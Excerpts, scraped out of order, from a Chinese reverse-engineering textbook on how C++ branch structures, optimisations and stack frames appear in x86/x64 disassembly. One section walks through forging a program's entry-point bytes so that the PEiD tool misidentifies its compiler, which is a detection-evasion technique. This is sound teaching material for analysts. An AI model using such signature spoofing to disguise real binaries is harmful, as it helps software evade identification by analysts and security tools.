    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.2 if…else…语句 5.1节介绍了if语句的构成但是只有if语句的分支结构是不完整的图5-1对比了两种语句结构的执行流程。 图5-1 if与if…else…结构对比 如图5-1所示if语句是一个单分支结构if…else…组合后是一个双分支结构。"},
    {"text": "从语法上看if…else…只比if语句多出了一个else。 else有两个功能如果if判断成功则跳过else分支语句块如果if判断失败则进入else分支语句块。 有了else语句程序在做流程选择时必会经过两个分支中的一个。 通过代码清单5-3我们来分析else语句块如何实现这两个功能。"},
    {"text": "代码清单5-3 if…else…组合Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { if (argc == 0) { printf(\"argc == 0\"); } else { printf(\"argc != 0\"); } return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 cmp dword ptr [ebp+8], 0 00401007 jnz short loc_401018 ;如果argc!=0则跳转到else语句块代码 { 00401009 push offset aArgc0 0040100E call sub_401070 00401013 add esp, 4 ;if语句块代码 } 00401016 jmp short loc_401025 ;跳转到if_else结束代码块 { 00401018 loc_401018: 00401018 push offset aArgc0_0 0040101D call sub_401070 00401022 add esp, 4 ;else语句块代码 } 00401025 loc_401025: ;if_else结束代码块 00401025 xor eax, eax 00401027 pop ebp 00401028 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 28h 000000014000100D cmp dword ptr [rsp+30h], 0 0000000140001012 jnz short loc_140001022 ;如果argc!=0则跳转到else语句块代码 { 0000000140001014 lea rcx, aArgc0 000000014000101B call sub_1400010A0 ;if语句块代码 } 0000000140001020 jmp short loc_14000102E ;跳转到if_else结束代码块 { 0000000140001022 lea rcx, aArgc0_0 0000000140001029 call sub_1400010A0 ;else语句块代码 } 000000014000102E xor eax, eax ;if_else结束代码块 0000000140001030 add rsp, 28h 0000000140001034 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单5-3中if语句转换的条件跳转和代码清单5-1中的if语句相同都是取相反的条件跳转指令。 而在else处地址00401016多了一句jmp指令这是因为在if语句比较后如果结果为真则程序流程执行if语句块并且跳过else语句块反之执行else语句块。 else处的jmp指令跳转的目标地址为else语句块结尾处的地址这样的设计可以跳过else语句块实现两个分支语句二选一的功能。"},
    {"text": "条件表达式转换后的汇编代码和if…else…结构相似将代码清单4-17与代码清单5-3进行分析对比可以发现两者间有很多相似之处如果没有源码比照想要分辨出是条件表达式还是if…else…结构实在太难了。"},
    {"text": "代码清单5-4 模拟条件表达式转换方式1 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { if (argc == 0) { argc = 5; //等价条件表达式中的表达式2 } else { argc = 6; //等价条件表达式中的表达式3 } printf(\"%d\\n\", argc);//防止变量被优化处理 return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 cmp dword ptr [ebp+8], 0 00401007 jnz short loc_401012 ;如果argc!=0则跳转到else语句块代码 { 00401009 mov dword ptr [ebp+8], 5 ;if语句块代码 } 00401010 jmp short loc_401019 ;跳转到if_else结束代码块 00401012 loc_401012: { 00401012 mov dword ptr [ebp+8], 6 ;else语句块代码 } 00401019 mov eax, [ebp+8] ;if_else结束代码块 0040101C push eax 0040101D push offset unk_412160 00401022 call sub_401070 00401027 add esp, 8 0040102A xor eax, eax 0040102C pop ebp 0040102D retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 28h 000000014000100D cmp dword ptr [rsp+30h], 0 0000000140001012 jnz short loc_14000101E;如果argc!=0则跳转到else语句块代码 { 0000000140001014 mov dword ptr [rsp+30h], 5 ;if语句块代码 } 000000014000101C jmp short loc_140001026 ;跳转到if_else结束代码块 { 000000014000101E mov dword ptr [rsp+30h], 6 ;else语句块代码 } 0000000140001026 mov edx, [rsp+30h] ;if_else结束代码块 000000014000102A lea rcx, unk_1400122C0 0000000140001031 call sub_1400010A0 0000000140001036 xor eax, eax 0000000140001038 add rsp, 28h 000000014000103C retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 按if…else…的逻辑如果满足if条件则执行if语句块否则执行else语句块两者有且仅有一个会执行。"},
    {"text": "而00401010处有个无条件跳转jmp它的作用是绕过else块因为如果能执行这个jmpif条件必然成立对应的反汇编代码处的跳转条件必然不能成立且if语句块已经执行完毕。"},
    {"text": "总结 如果遇到a方案的指令序列先考察其中的两个跳转指令当第一个条件跳转指令跳转到地址ELSE_BEGIN处之前有JMP指令则将其视为由if…else…组合而成的双分支结构。"},
    {"text": "对于a方案不管进入if语句块代码还是else语句块代码都会产生一次跳转而对于b方案进入if语句块不会产生跳转进入else语句块则会产生两次跳转。 比较两种方案进入if语句块b方案比a方案效率高进入else语句块b方案比a方案效率低因此gcc在编译时会判断if和else的语句块的命中率将命中率高的语句块代码调整到if语句块。"},
    {"text": "代码清单5-5 模拟条件表达式转换方案1Release版 //x86_vs对应汇编代码讲解 00401010 xor eax, eax 00401012 cmp [esp+4], eax ;判断argc==0影响标志寄存器 00401016 setnz al ;eax=标志寄存器ZF的值取反 00401019 add eax, 5 ;if (argc==0) eax=0+5 ;if (argc!=0) eax=1+5 0040101C push eax ;参数1 0040101D push offset unk_412160 ;参数2 00401022 call sub_401030 ;调用printf函数 00401027 add esp, 8 ;平衡栈 0040102A xor eax, eax 0040102C retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 and esp, 0FFFFFFF0h ;对齐栈 00402586 sub esp, 10h 00402589 call ___main ;调用初始化函数 0040258E mov edx, [ebp+8] ;edx=argc 00402591 xor eax, eax 00402593 mov dword ptr [esp], offset aD ;参数1 \"%d\\n\" 0040259A test edx, edx ;判断argc==0影响标志寄存器 0040259C setnz al ;eax=标志寄存器ZF的值取反 0040259F add eax, 5 ;if (argc==0) eax=0+5 ;if (argc!=0) eax=1+5 004025A2 mov [esp+4], eax 004025A6 call _printf 004025AB xor eax, eax 004025AD leave 004025AE retn //x86_clang对应汇编代码讲解 00401000 cmp dword ptr [esp+4], 1 ;判断argc==0影响标志寄存器 ;argc==0借位CF=1其他数不借位CF=0 00401005 mov eax, 6 ;eax=6 0040100A sbb eax, 0 ;带借位减法 ;if (argc==0) eax=6-0-1 ;if (argc!=0) eax=6-0-0 0040100D push eax ;参数1 0040100E push offset aD ;参数2 \"%d\\n\" 00401013 call sub_401020 ;调用printf函数 00401018 add esp, 8 ;平衡栈 0040101B xor eax, eax 0040101D retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 xor edx, edx 0000000140001016 test ecx, ecx ;判断argc==0影响标志寄存器 0000000140001018 lea rcx, aD ;参数1 \"%d\\n\" 000000014000101F setnz dl ;edx=标志寄存器ZF的值取反 0000000140001022 add edx, 5 ;if (argc==0) eax=0+5 ;if (argc!=0) eax=1+5 参数2 0000000140001025 call sub_140001040 ;调用printf函数 000000014000102A xor eax, eax 000000014000102C add rsp, 28h 0000000140001030 retn //x64_gcc对应汇编代码讲解 0000000000402BF0 push rbx 0000000000402BF1 sub rsp, 20h 0000000000402BF5 mov ebx, ecx ;ebx=argc 0000000000402BF7 call __main ;调用初始化函数 0000000000402BFC lea rcx, aD ;参数1 \"%d\\n\" 0000000000402C03 xor edx, edx ;edx=0 0000000000402C05 test ebx, ebx ;判断argc==0影响标志寄存器 0000000000402C07 setnz dl ;edx=标志寄存器ZF的值取反 0000000000402C0A add edx, 5 ;if (argc==0) eax=0+5 ;if (argc!=0) eax=1+5 参数2 0000000000402C0D call printf ;调用printf函数 0000000000402C12 xor eax, eax 0000000000402C14 add rsp, 20h 0000000000402C18 pop rbx 0000000000402C19 retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 cmp ecx, 1 ;判断argc==0影响标志寄存器 ;argc==0借位CF=1其他数不借位CF=0 0000000140001007 mov edx, 6 ;edx=6 000000014000100C sbb edx, 0 ;if (argc==0) edx=6-0-1 ;if (argc!=0) edx=6-0-0 参数2 000000014000100F lea rcx, aD ;参数 \"%d\\n\" 0000000140001016 call sub_140001030 ;调用printf函数 000000014000101B xor eax, eax 000000014000101D add rsp, 28h 0000000140001021 retn 代码清单5-5中的这些指令似曾相识与条件表达式使用了同样的优化手法。"},
    {"text": "通过以上分析得出编译的代码在很多情况下我们会发现条件表达式的反汇编代码和if…else…组合是一样的这时候可以根据个人习惯还原等价的高级代码。"},
    {"text": "有时候我们会遇到复杂的条件表达式作为分支或者循环结构的判定条件的情况这时直接阅读高级源码是十分困难的。 在没有高级源码的情况下分析者需要先定位语句块的边界然后根据跳转目标和逻辑依赖慢慢反推出高级代码。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 16.6 本章小结 本章的学习重点是将逆向技术应用于病毒程序分析。正所谓“知己知彼百战不殆”要想反病毒首先就要清楚病毒的实现原理这样才能技高一筹。有了对大灰狼远控木马的分析读者可以根据病毒的实现原理编写对应的修复、防御工具制作针对大灰狼远控木马的专杀软件。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.3 用if构成的多分支流程 5.1节和5.2节介绍了由if与if…else…组成的分支结构。"},
    {"text": "多分支结构类似if…else…的组合方式在if…else…的else之后再添加一个else if进行二次比较这样可以进行多次比较再次选择程序流程形成了多分支流程。"},
    {"text": "代码清单5-6 多分支结构Debug版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { if (argc > 0) { printf(\"argc > 0\"); } else if (argc == 0){ printf(\"argc == 0\"); } else { printf(\"argc <= 0\"); } return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 cmp dword ptr [ebp+8], 0 00401007 jle short loc_401018 ;如果argc<=0则跳转到else_if语句块代码 { 00401009 push offset aArgc0 0040100E call sub_401080 00401013 add esp, 4 ;if语句块代码 } 00401016 jmp short loc_40103A ;跳转到if_else_if结束代码块 { 00401018 cmp dword ptr [ebp+8], 0 0040101C jnz short loc_40102D ;如果argc!=0则跳转到else语句块代码 0040101E push offset aArgc0_0 00401023 call sub_401080 00401028 add esp, 4 ;else_if语句块代码 } 0040102B jmp short loc_40103A ;跳转到if_else_if结束代码块 { 0040102D push offset aArgc0_1 00401032 call sub_401080 00401037 add esp, 4 ;else语句块代码 } 0040103A xor eax, eax ;if_else_if结束代码块 0040103C pop ebp 0040103D retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 28h 000000014000100D cmp dword ptr [rsp+30h], 0 0000000140001012 jle short loc_140001022 ;如果argc<=0则跳转到else_if语句块代码 { 0000000140001014 lea rcx, aArgc0 000000014000101B call sub_1400010B0 ;if语句块代码 } 0000000140001020 jmp short loc_140001043 ;跳转到if_else_if结束代码块 { 0000000140001022 cmp dword ptr [rsp+30h], 0 0000000140001027 jnz short loc_140001037 ;如果argc!=0则跳转到else语句块代码 0000000140001029 lea rcx, aArgc0_0 0000000140001030 call sub_1400010B0 ;else_if语句块代码 } 0000000140001035 jmp short loc_140001043 ;跳转到if_else_if结束代码块 { 0000000140001037 lea rcx, aArgc0_1 000000014000103E call sub_1400010B0 ;else语句块代码 } 0000000140001043 xor eax, eax ;if_else_if结束代码块 0000000140001045 add rsp, 28h 0000000140001049 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单5-6给出了if…else if…else的组合形式。"},
    {"text": "从代码中可以分析出每条if语句由cmp和jxx组成而else由一个jmp跳转到分支结构的最后一个语句块结束地址组成。 由此可见虽然它们组合在了一起但是每个if和else又都是独立的if仍然是由CMP/TEST加jxx组成我们仍然可以根据上一节介绍的知识利用jxx和jmp识别出if和else if语句块的边界jxx指出了下一个else if的起始点而jmp指出了整个多分支结构的末尾地址以及当前if或者else if语句块的末尾。 最后else块的边界也很容易识别如果发现多分支块内的某一段代码在执行前没有判定即可定义为else块如上述代码中的00401132地址处。 总结 如果遇到类似上述的代码块需要考察各跳转指令之间的关系。"},
    {"text": "当每个条件跳转指令的跳转地址之前都紧跟JMP指令并且它们跳转的地址值一样时可视为一个多分支结构。 JMP指令指明了多分支结构的末尾配合比较判断指令与条件跳转指令可还原出各分支语句块的组成。"},
    {"text": "由于编译器可以在编译期间对代码进行优化当代码中的分支结构形成永远不可抵达的分支语句块时它永远不会被执行可以被优化掉而不参与编译处理。"},
    {"text": "向代码清单5-6中插入一句“argc = 0;”这样arg c 将被“常量传播”因此在编译期可得“if(argc < 0)”与“else”这两个分支语句块将永远不可抵达它们不会再参与编译。 void IfElseIf(int argc) { // 仿造可分支归并代码 argc = 0; // 其他代码与代码清单5-6相同 } 选择02编译选项再次编译修改后的代码。"},
    {"text": "使用IDA查看优化后的不可达分支是否被删除如图5-2所示。 图5-2 优化后的不可达分支结构 经过优化后图5-2中的不可达分支被删除了。"},
    {"text": "void IfElseIf(int argc) { if (argc > 0) { // 判断函数参数argc是否大于0printf(\"argc > 0\"); // 比较成功则执行 printf(\"argc > 0\"); return; } if (argc == 0){ // 判断函数参数argc是否等于0 printf(\"argc == 0\"); // 比较成功则执行printf(\"argc == 0\"); return; } printf(\"argc <= 0\"); // 否则执行printf(\"argc < 0\"); return; } 以上是我们在源码中进行的手工优化编译器是否会按照我们的意图提升运行效率呢开启02编译选项还原修改过的代码清单5-6去掉“argc == 0;”后再次编译。"},
    {"text": "代码清单5-7 优化后的多分支结构Release版 //x86_vs对应汇编代码讲解 00401010 mov ecx, [esp+8] 00401014 test ecx, ecx 00401016 jle short loc_401029 ;如果argc<=0则跳转到if结束代码块 { 00401018 mov eax, offset aArgc0 0040101D push eax 0040101E call sub_401050 00401023 add esp, 4 00401026 xor eax, eax 00401028 retn ;if语句代码块 } 00401029 test ecx, ecx ;if结束代码块 0040102B mov edx, offset aArgc0_0 00401030 mov eax, offset aArgc0_1 00401035 cmovnz eax, edx ;无分支优化 00401038 push eax 00401039 call sub_401050 0040103E add esp, 4 00401041 xor eax, eax 00401043 retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 and esp, 0FFFFFFF0h 00402586 sub esp, 10h 00402589 call ___main 0040258E mov eax, [ebp+8] 00402591 test eax, eax 00402593 jg short loc_4025B5 ;如果argc>0则跳转到else语句块代码 { 00402595 jz short loc_4025A7 ;如果argc==0则跳转到else语句块代码 00402597 mov dword ptr [esp], offset aArgc0 0040259E call _printf ;if语句代码块 } 004025A3 leave ;if_else结束代码块 004025A4 xor eax, eax 004025A6 retn { 004025A7 mov dword ptr [esp], offset aArgc0_0 004025AE call _printf ;else语句代码块 } 004025B3 jmp short locret_4025A3 ;跳转到if_else结束代码块 { 004025B5 mov dword ptr [esp], offset aArgc0_1 004025BC call _printf ;else语句代码块 } 004025C1 jmp short locret_4025A3 ;跳转到if_else结束代码块 //x86_clang对应汇编代码讲解 00401000 mov eax, [esp+4] 00401004 test eax, eax 00401006 jle short loc_40100F ;如果argc<=0则跳转到else_if语句块代码 { 00401008 push offset aArgc0 ;if语句代码块 } 0040100D jmp short loc_40101D ;跳转到if_else_if结束代码块 { 0040100F jz short loc_401018 00401011 push offset aArgc0_0 ;else_if语句代码块 } 00401016 jmp short loc_40101D ;跳转到if_else_if结束代码块 { 00401018 push offset aArgc0_1 ;else语句代码块 } 0040101D call sub_401030 ;if_else_if结束代码块代码外提 00401022 add esp, 4 00401025 xor eax, eax 00401027 retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 mov eax, ecx 0000000140001016 test ecx, ecx 0000000140001018 jle short loc_14000102D ;如果argc<=0则跳转到if结束代码块 { 000000014000101A lea rcx, aArgc0 0000000140001021 call sub_140001050 0000000140001026 xor eax, eax 0000000140001028 add rsp, 28h 000000014000102C retn ;if语句代码块 } 000000014000102D test eax, eax ;if结束代码块 000000014000102F lea rdx, aArgc0_0 0000000140001036 lea rcx, aArgc0_1 000000014000103D cmovnz rcx, rdx ;无分支优化 0000000140001041 call sub_140001050 0000000140001046 xor eax, eax 0000000140001048 add rsp, 28h 000000014000104C retn //x64_gcc对应汇编代码讲解 0000000000402BF0 push rbx 0000000000402BF1 sub rsp, 20h 0000000000402BF5 mov ebx, ecx 0000000000402BF7 call __main 0000000000402BFC test ebx, ebx 0000000000402BFE jg short loc_402C24 ;如果argc>0则跳转到else语句代码块 { 0000000000402C00 jz short loc_402C16 ;如果argc==0则跳转到else语句代码块 0000000000402C02 lea rcx, aArgc0 0000000000402C09 call printf ;if语句代码块 } 0000000000402C0E xor eax, eax ;if_else结束代码块 0000000000402C10 add rsp, 20h 0000000000402C14 pop rbx 0000000000402C15 retn { 0000000000402C16 lea rcx, aArgc0_0 0000000000402C1D call printf ;else语句代码块 } 0000000000402C22 jmp short loc_402C0E ;跳转到if_else结束代码块 { 0000000000402C24 lea rcx, aArgc0_1 0000000000402C2B call printf ;else语句代码块 } 0000000000402C30 jmp short loc_402C0E ;跳转到if_else结束代码块 //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 test ecx, ecx 0000000140001006 jle short loc_140001011 ;如果argc<=0则跳转到else_if语句块代码 { 0000000140001008 lea rcx, aArgc0 ;if语句代码块 } 000000014000100F jmp short loc_140001023 ;跳转到if_else_if结束代码块 { 0000000140001011 jz short loc_14000101C ;如果argc==0则跳转到else语句块代码 0000000140001013 lea rcx, aArgc0_0 ;else_if语句块代码 } 000000014000101A jmp short loc_140001023 ;跳转到if_else_if结束代码块 { 000000014000101C lea rcx, aArgc0_1 ;else语句代码块 } 0000000140001023 call sub_140001030 ;if_else_if结束代码块 0000000140001028 xor eax, eax 000000014000102A add rsp, 28h 000000014000102E retn 由于选择的是02优化选项因此在优化方向上更注重效率而不是节省空间。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 参考文献 1Ronald L G. Concrete MathematicsM. Massachusetts: Addison Wesley, 1988. 2Donald E K. The Art of Computer ProgrammingM. Massachusetts: Addison Wesley, 1998. 3Bjarne S. C++程序设计语言特别版M裘宗燕译北京机械工业出版社2010 4Andrew W AMaia Ginsburg现代编译原理C语言描述M赵克佳黄春沈志宇译北京人民邮电出版社2006 5钱能C++程序设计教程M2版北京清华大学出版社2005 6严蔚敏吴伟民数据结构C语言版M北京清华大学出版社2007 7杨季文80X86汇编语言程序设计教程M北京清华大学出版社2001 8段钢加密与解密M3版北京电子工业出版社2008 9看雪学院软件加密技术内幕M北京电子工业出版社2004 10罗云彬Windows环境下32位汇编语言程序设计M北京电子工业出版社2002 11谭文邵坚磊罗云彬天书夜读——从汇编语言到Windows内核编程M北京电子工业出版社2008 12Randall Hyde编程卓越之道第二卷运用底层语言思想编写高级语言代码M张菲译北京电子工业出版社2007 13Randal E BDavid R O深入理解计算机系统原书第3版M龚奕利贺莲译北京机械工业出版社2016 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 18.3 本章小结 本章主要讲解了汇编环境和C语言环境的联合编译。读者需要具备一定的逆向分析基础否则无法定位到关键的代码处联合编译也就成了一句空话。如果觉得多个obj文件的静态编译方式不方便也可以参考对应的编译链接选项做成dll的共享编译方式。 很多时候有些反汇编代码无法直接编译比如异常处理、函数的嵌套等这就需要读者先分析目标程序的功能结构然后酌情对代码做出修改使其满足当前环境。如果需要重建的代码中存在C++的异常处理部分那么将异常分配过程全部照搬过来明显不合适。这种情况的处理办法有多种可以先分析异常处理中是否有关键的、不可或缺的代码如果有则修改流程使得关键代码一定被执行否则可以考虑将异常的注册函数替换为自己的异常函数或者直接去掉异常的注册和处理代码然后在上级调用函数中补充实现更优的异常处理过程。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 6.1 栈帧的形成和关闭 栈在内存中是一块特殊的存储空间它的存储原则是“先进后出”即最先被存储的数据最后被释放。汇编过程通常使用PUSH指令与POP指令对栈空间执行数据压入和数据弹出的操作。栈的结构示意图如图6-1所示。 图6-1 栈的结构示意图 图6-1为栈结构在内存中的表现形式。栈结构在内存中占用一段连续的存储空间通过esp和ebp这两个栈指针寄存器保存当前栈的起始地址与结束地址又称为栈顶与栈底。在32位程序的栈结构中每4字节的栈空间保存一个数据在64位程序的栈结构中每8字节的栈空间保存一个数据。像这样的栈顶到栈底之间的存储空间被称为栈帧。 栈帧是如何形成的呢当栈顶指针esp小于栈底指针ebp时就形成了栈帧。通常在C++中栈帧可以寻址局部变量、函数返回地址、函数参数等数据。 不同的两次函数调用形成的栈帧也不相同。当一个函数调用另一个函数时就会针对调用的函数开辟所需的栈空间形成此函数的栈帧。当这个函数结束调用时需要清除它使用的栈空间关闭栈帧我们把这一过程称为栈平衡。 为什么要进行栈平衡呢这就像借钱一样“有借有还再借不难”。如果某一函数开辟了新的栈空间后没有进行恢复或者过度恢复就会造成栈空间上溢或下溢极有可能给程序带来致命错误如图6-2所示。 图6-2 栈平衡错误 图6-2中的错误是由栈平衡引发的只有在Debug版才会出现这个错误提示方便开发人员找到错误并修正。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 14.2 开发环境的伪造 14.1节介绍了PEiD分析开发环境编译器版本的相关流程本节将结合14.1节知识将Microsoft Visual Studio 2005所编写的“Hello World”程序伪造成VC++ 6.0编写的给程序套上一个面具以“蒙蔽”PEiD。 那么如何将用Microsoft Visual Studio 2005编写的程序伪装成VC++ 6.0编写的程序呢找到PEiD检查PE文件的相关流程即可。根据14.1节的分析PEiD的检查流程如下。 检查OEP是否合法。 提取OEP地址处相关的机器码用于特征码的比较。 检查“.rdata”节是否存在。 检查OEP是否处于“.text”节中。 在这几个步骤中最重要的一个步骤是特征码比较因此伪装时需要伪造机器码。那么PEiD检查VC++ 6.0的机器码的相关特征都有哪些呢通过14.1节的分析可得到如下答案。 OEP + 0x0 对应机器码 0x55 OEP + 0x1 对应机器码 0x8B OEP + 0x2 对应机器码 0xEC OEP + 0x3 对应机器码 0x6A OEP + 0x4 对应机器码 0xFF OEP + 0x5 对应机器码 0x68 OEP + 0xA 对应机器码 0x68 OEP + 0xF 对应机器码 0x64 OEP + 0x10 对应机器码 0xA1 OEP + 0x11 对应机器码 0x00 OEP + 0x16 对应机器码 0x64 OEP + 0x18 对应机器码 0x00 OEP + 0x1D 对应机器码 0x83 OEP + 0x1E 对应机器码 0xEC 有了这些机器码以及对应OEP的位置就可以开始伪造机器码了。先使用OllyDbg打开要伪造的目标程序如图14-9所示。 图14-9 伪造程序oep 打开后代码停留在地址0x004012C2处这个地址是目标程序的OEP。因为PEiD需要对OEP处的机器码进行检查所以首要任务是伪造这些参与检查的机器码。注意不能直接修改OEP处的代码因为这样会破坏原有程序中的机器码极有可能影响程序的运行。因此需要在程序中找到一段空白将对比机器码填写进去。不能随意使用这个空白处必须要在“.text”节指定的范围内使用否则即便通过了机器码与特征码的检查也无法通过后期VC++ 6.0的判定过程。经过分析后在伪造程序中找到符合要求的空白代码处将已知的对比机器码填写到此段空白处如图14-10所示。 图14-10 伪造OEP入口 在图14-10中代码不仅伪造了VC++ 6.0的OEP特征还在OEP检查结束后对环境进行了还原在仿造OEP的最后执行了“CALL 0x004012C2”将程序重新调整回真正的OEP处使其可以正常运行。 以上只是将机器码指令写入伪造程序的内存并没有写到文件中如何使用OllyDbg将修改过的分析文件重新写入文件呢在数据窗口中单击鼠标右键弹出选择菜单如图14-11所示。 图14-11 右键选择菜单 在弹出的菜单中右键选择“复制到可执行文件”选项这时OllyDbg弹出了文件操作窗口在此窗口中再次右键选择“保存文件”选项在弹出的文件保存窗口中填写保存后的新名称这样就完成了OEP的仿造。 执行完以上操作伪造VC++ 6.0编译信息最重要的工作就完成了。这时还需要检查在伪造程序中是否存在“.rdata”节如果不存在请添加“.rdata”节。我们伪造的示例程序是由Microsoft Visual Studio 2005编写的“.rdata”节已经存在不需要手工添加。 前期工作都已经做好了接下来需要重新调整OEP的地址到0x00401810处此地址根据图14-10得到伪造的OEP入口地址。使用WinHex打开伪造程序如图14-12所示。 图14-12 OEP所在文件地址 如图14-12所示当前OEP指向地址为0x000012C2所在文件的偏移地址为0x00000110。将原OEP的地址0x000012C2修改为我们伪造的新OEP地址0x00001810这个地址值是RVA值。 这时伪造工作已经完成程序经过“包装”后戴上了面具。PEiD的各项检查均已实现OEP已经被仿造到“.text”节中只待PEiD的检查。使用PEiD加载伪造程序结果如图14-13所示。 图14-13 PEiD加载伪造后的Microsoft Visual Studio 2005程序 在图14-13中又见到了熟悉的字符串信息“Microsoft Visual C++ 6.0”这表示代码已经伪造成功了。这时的入口地址已经变成了我们修改的0x00001810。 其他开发环境的伪造方法与此大同小异都需要掌握PEiD的分析流程以及相关特征码的比较然后仿造PEiD要检查的相关特征信息。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第4章 观察各种表达式的求值过程 4.1 算术运算和赋值 算术运算包括加法、减法、乘法和除法也称为四则运算。"},
    {"text": "因为内存没有处理器那样的控制能力所以各个内存单元之间是无法直接传递数据的必须通过处理器访问并中转以实现两个内存单元之间的数据传输。"},
    {"text": "因为只进行计算而没有传递结果的运算不会对程序结果有任何影响此时编译器会将其视为无效语句等价于空语句不会有任何编译处理图4-1所示的代码便是一个很好的例子。"},
    {"text": "在Debug编译选项组中使用的是Od+ZI选项此选项使编译器产生的一切代码都以便于调试为根本前提甚至为了便于单步跟踪以及源码和目标代码块的对应阅读不惜增加冗余代码。"},
    {"text": "例如在代码清单4-1中“n1 = n1 + 1”这样的代码将被删除因为在其后又重新对变量 n 1进行了赋值操作而在此之前没有对变量 n 1做任何访问所以编译器判定此句代码是可被删除的。"},
    {"text": "图4-2 开启02选项的Release版加法运算 图4-2中唯一的加法运算是做参数平衡而非源码中的加法运算这是怎么回事呢别着急保持耐心我先给大家介绍两个关于优化的概念。"},
    {"text": "在编译过程中编译器常常会采用“常量传播”和“常量折叠”的方案对代码中的变量与常量进行优化下面详细讲解这两种方案。 1常量传播 将编译期间可计算出结果的变量转换成常量这样就减少了变量的使用请看下面的示例。"},
    {"text": "int main(int argc, char* argv[]){ int n = 1; printf(\"n= %d\\n\", n); return 0; } 变量 n 是一个在编译期间可以计算出结果的变量。"},
    {"text": "int main(int argc, char* argv[]){ printf(\"n= %d\\n\", 1); return 0; } 2常量折叠 当出现多个常量进行计算且编译器可以在编译期间计算出结果时源码中所有的常量计算都将被计算结果代替代码如下所示。 int main(int argc, char* argv[]){ int n= 1 + 5 - 3 * 6; printf(\"n= %d\\n\", n); return 0; } 此时不会生成计算指令因为“1+5-3×6”的值是可以在编译过程中计算出来的所以编译器首先会计算出“1+5-3×6”的结果-12然后用数值-12替换掉原表达式其结果依然等价代码如下所示。 int main(int argc, char* argv[]){ int n= -12; printf(\"n= %d\\n\", n); return 0; } 现在变量 n 为在编译期间可计算出结果的变量那么接下来组合使用常量传播对其进行常量转换就是合理的程序中将不会出现变量 n 而是直接以常量-12代替代码如下所示。 int main(int argc, char* argv[]){ printf(\"n= %d\\n\", -12); return 0; } 在代码清单4-1中变量 n 1和 n 2的初始值是一个常量VC++编译器在开启02优化方案后会尝试使用常量替换变量。 如果在程序的逻辑中声明的变量没有被修改过而且上下文中不存在针对此变量的取地址和间接访问操作那么这个变量就等价于常量编译器就认为可以删除这个变量直接用常量代替。"},
    {"text": "int n1 = 0; // 常量化以后n1用0代替了 int n2 = 0; // 同上这句也没有了 // 变量加常量的加法运算 n1 = n1 + 1; // n1 = 0 + 1; // 两常量相加的加法运算 n1 = 1 + 2; // n1 = 1 + 2; n1 = n1 + n2; // n1 = n1 + 0; printf(\"n1 = %d\\n\", n1); 因为变量转换成了常量所以在编译期间可以直接计算出结果而“n1=0+1;”这句赋值代码之后又对 n 1再次赋值所以这是一句对程序没有任何影响的代码被剔除掉。 后面的“n1=1+2;”满足常量折叠的条件所以直接计算出了加法结果3“n1=1+2”由此转变为“n1=3”此时满足常量传播条件对 n 1的引用转变为对常量3的引用printf的参数引用了 n 1于是代码直接变为“printf(\"n1 = %d\\n\", 3);”过程如下所示。 n1 = 0 + 1; // 优化过程: n1 = 0 + 1;被删除了 n1 = 1 + 2; // n1 = 3;常量折叠 n1 = n1 + n2; // n1= 3 + 0; printf(\"n1= %d\\n\", n1); //printf(\"n1 = %d\\n\", 3); 进一步研究优化方案修改代码清单4-1中的源码将变量的初始值0修改为命令行参数的个数arg c 。"},
    {"text": "#include <stdio.h> int main(int argc, char* argv[]){ int n1 = argc; // 修改处 int n2 = argc; // 修改处 n1 = n1 + 1; n1 = 1 + 2; n1 = n1 + n2; printf(\"n1 = %d\\n\", n1); return 0; } 将代码再次编译为Release版如图4-3所示。"},
